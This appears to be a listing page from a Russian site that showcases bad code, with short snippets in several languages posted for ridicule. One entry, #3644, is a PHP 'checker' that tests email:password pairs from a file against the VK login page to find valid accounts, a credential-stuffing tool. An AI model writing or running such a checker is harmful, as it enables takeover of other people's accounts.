1. Лучший говнокод

    В номинации:
    За время:
  2. Куча / Говнокод #3686

    +144

    1. 1
    $a = true || false;

    ^)

    ycuk, 12 Июля 2010

    Комментарии (1)
  3. Python / Говнокод #3661

    −146

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    for section in config.sections():
        GROUP_PREFIX = 'group '
        if not section.startswith(GROUP_PREFIX):
            continue
        group = section[len(GROUP_PREFIX):]
        if group in seen:
            continue

    из проекта gitosis

    lig, 07 Июля 2010

    Комментарии (1)
  4. PHP / Говнокод #3644

    +149

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    <?
    $txt_file=("logins.txt");
    preg_match( "/value='(.*)'/", file_get_contents("http://login.vk.com/?act=login&[email protected]&pass=asdasd&expire=&vk="), $null );
    foreach(file($txt_file) as $account)
    { 
    $data=explode(':',$account);
    $qwe = file_get_contents('http://login.vk.com/?act=login&email='.urlencode($data[0]).'&pass='.urlencode($data[1]).'&expire=&vk=');
    if($qwe == $null){
           print "".$data[0].":".$data[1]." not valid</br>";
    }else{ 
           print "".$data[0].":".$data[1]." are valid</br>"; 
      } 
      } 
    ?>

    checker

    r00t, 05 Июля 2010

    Комментарии (1)
  5. C++ / Говнокод #3550

    +167

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    #define ItemType char
    #define SecondItemType unsigned
    class Doubler
    {
    	ItemType _i1_;
    	SecondItemType _i2_;
    	//...
    	//Дальше идёт много функций класса, использующие ItemType и SecondItemType.
    	//...
    };

    Говногость, 23 Июня 2010

    Комментарии (1)
  6. Куча / Говнокод #3434

    +155

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    <!DOCTYPE html>
    <html>
    <head>
    <style>
    	*{ margin: 0; padding: 0; }
    	html,body{
    		height: 300px;
    		width: 100%;
    		border: 1px solid #C0C0C0;
    	}
    </style>
    </head>
    <body>
    <table height=100%>
    	<tr>
    		<td><div style="border: 1px solid green;">fasdfadsf<br />fasdfadsf<br />fasdfadsf<br />fasdfadsf<br /></div></td>
    	</tr>
    	<tr height=100%>
    		<td height=100%><div style="height:100%; border: 1px solid red;">fadsfadsfasd</div></td>
    	</tr>
    </table>
    <!--
    <div style="height: 100%; border: 1px solid blue; ">
    	<div style="border: 1px solid green;">fasdfadsf<br />fasdfadsf<br />fasdfadsf<br />fasdfadsf<br /></div>
    	<div style="height:100%; border: 1px solid red;">fadsfadsfasd</div>
    </div>
    -->
    </body>
    </html>

    в IE выходит за границы которые заданны в body.

    g0xff, 10 Июня 2010

    Комментарии (1)
  7. C++ / Говнокод #3415

    +158

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    for (int i = 0; i < m_pTableWidget->rowCount(); i++) {
            m_pFilterList->addFilter(m_pTableWidget->item(i, 0)->text(), 
                                     (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 1)))->currentText(),
                                     (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->itemData((qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentIndex()).toString(),
                                     m_pTableWidget->item(i, 3)->text(),
                                     (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 4)))->itemData((qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 4)))->currentIndex()).toString(),
                                     ((qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentText().contains("конца") ? "'%" : (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentText().contains("любой") ? "'%" : "'"),
                                     ((qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentText().contains("начала") ? "%'" : (qobject_cast<QComboBox*>(m_pTableWidget->cellWidget(i, 2)))->currentText().contains("любой") ? "'%" : "'")
                                     );
        }

    Вот так вот брутально выглядит код "в одну строчку"

    JC_NVKZ, 08 Июня 2010

    Комментарии (1)
  8. Java / Говнокод #3391

    +73

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    private static final double[][][] charsets = {{
      {1, 2, 3, 4},
     // 30 lines of a 3-dimentional array (4x9x3) declaration skipped
    }}
    
    // Later on
    double dx = charsets[order[n[0]][i - 1]][n[i]][j];

    Ну что тут еще скажешь... Legacy code forever!

    Koshiku, 03 Июня 2010

    Комментарии (1)
  9. Java / Говнокод #3277

    +75

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    private static NavigableSet<Integer> availableVlans = populate( );
    
    private static NavigableSet<Integer> populate( ) {
      NavigableSet<Integer> list = new ConcurrentSkipListSet<Integer>( );
      for ( int i = 1; i < 4095; i++ )
        list.add( i );
      return list;
    }
    
    public static void trim( int min, int max ) {
      NavigableSet<Integer> newVlanList = Sets.newTreeSet( );
    
      for ( int i = min; i < max; i++ )
        newVlanList.add( i );
      newVlanList.removeAll( availableVlans );
      availableVlans.removeAll( availableVlans.headSet( min ) );
      availableVlans.removeAll( availableVlans.tailSet( max ) );
      for ( int i = min; i < max; i++ ) {
        if ( !newVlanList.contains( i ) ) {
          availableVlans.add( i );
        }
      }
    }

    Очередной кусок калифорнийского кода.

    raorn, 20 Мая 2010

    Комментарии (1)
  10. Си / Говнокод #3258

    +105

    1. 1
    int ccInstance_to_ncInstance(ccInstance *dst, ncInstance *src);

    raorn, 18 Мая 2010

    Комментарии (1)
  11. PHP / Говнокод #3209

    +144

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    function list_dir($dir='.',$isfile,$extension=''){
    	$slash=(strrpos($dir,'/')==(strlen($dir)-1)?'':'/');
    	$files=array();
    	if ($handle = opendir($dir)) {
    		while (false !== ($file = readdir($handle))) {
    			if ($file != "." && $file != "..") {
    				if(
    				($isfile && is_file($dir.$slash.$file))
    				||
    				((!$isfile) && (!is_file($dir.$slash.$file)))
    				)
    				{
    					if($extension=='') {
    						$files[$dir.$slash.$file]="$file";
    					} else {
    						$fp=split('[.]',$file);
    						$fe=$fp[sizeof($fp)-1];
    						if(strtolower($extension)==strtolower($fe)) {
    							$files[$dir.$slash.$file]="$file";
    						}
    					}
    				}
    			}
    		}
    		closedir($handle);
    	}
    	return $files;
    }

    еще из личного сайта 8летней давности. Здесь говно даже не код, а идея:
    есть папка с подпапками с хтмл-файлами, структурой /год/жанр/имя.html. Слева меню, которое строится каждый раз (кэшить еще не знал), с помощью этой функции пробегаем по всему хранилищу и строим древо-меню, по клику инклудим данный хтмл на страницу оО

    Lure Of Chaos, 12 Мая 2010

    Комментарии (1)